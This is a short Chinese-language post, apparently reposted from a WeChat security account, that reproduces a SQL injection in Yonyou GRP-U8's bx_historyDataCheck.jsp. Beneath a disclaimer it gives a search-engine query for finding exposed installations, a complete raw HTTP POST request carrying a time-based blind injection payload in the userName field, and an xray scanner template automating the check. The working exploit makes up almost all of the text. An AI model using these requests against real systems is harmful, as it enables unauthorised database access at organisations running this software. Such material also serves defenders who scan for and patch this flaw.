漏洞复现：用友GRP-U8 bx_historyDataCheck.jsp SQL注入

前言：

漏洞poc均来自互联网已公开

请勿使用本文中所提供的任何技术信息或代码工具进行非法测试和违法行为。若使用者利用本文中技术信息或代码工具对任何计算机系统造成的任何直接或者间接的后果及损失，均由使用者本人负责。本文所提供的技术信息或代码工具仅供于学习，一切不良后果与文章作者无关。使用者应该遵守法律法规，并尊重他人的合法权益。

网络测绘：

app="用友-GRP-U8"

漏洞poc：

POST /u8qx/bx_historyDataCheck.jsp HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/117.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded

userName=';WAITFOR DELAY '0:0:3'--&ysnd=&historyFlag=

xray POC:

name: poc-yaml-yonyou-grp-u8-bx_historydatacheck.jsp-sql
transport: http
rules:
  r0:
    request:
      method: POST
      path: /u8qx/bx_historyDataCheck.jsp
      follow_redirects: true
      body: userName=';WAITFOR DELAY '0:0:5'--&ysnd=&historyFlag=
    expression: sleep(5) && response.status == 200
expression: r0()
detail:
  author: hl666
  links:
    - https://mp.weixin.qq.com/s/BTDkd1y5J2-4BC9ilrdftA
  description: 用友GRP-U8 bx_historyDataCheck.jsp SQL注入漏洞

原文始发于微信公众号（安全小子大杂烩）：漏洞复现：用友GRP-U8 bx_historyDataCheck.jsp SQL注入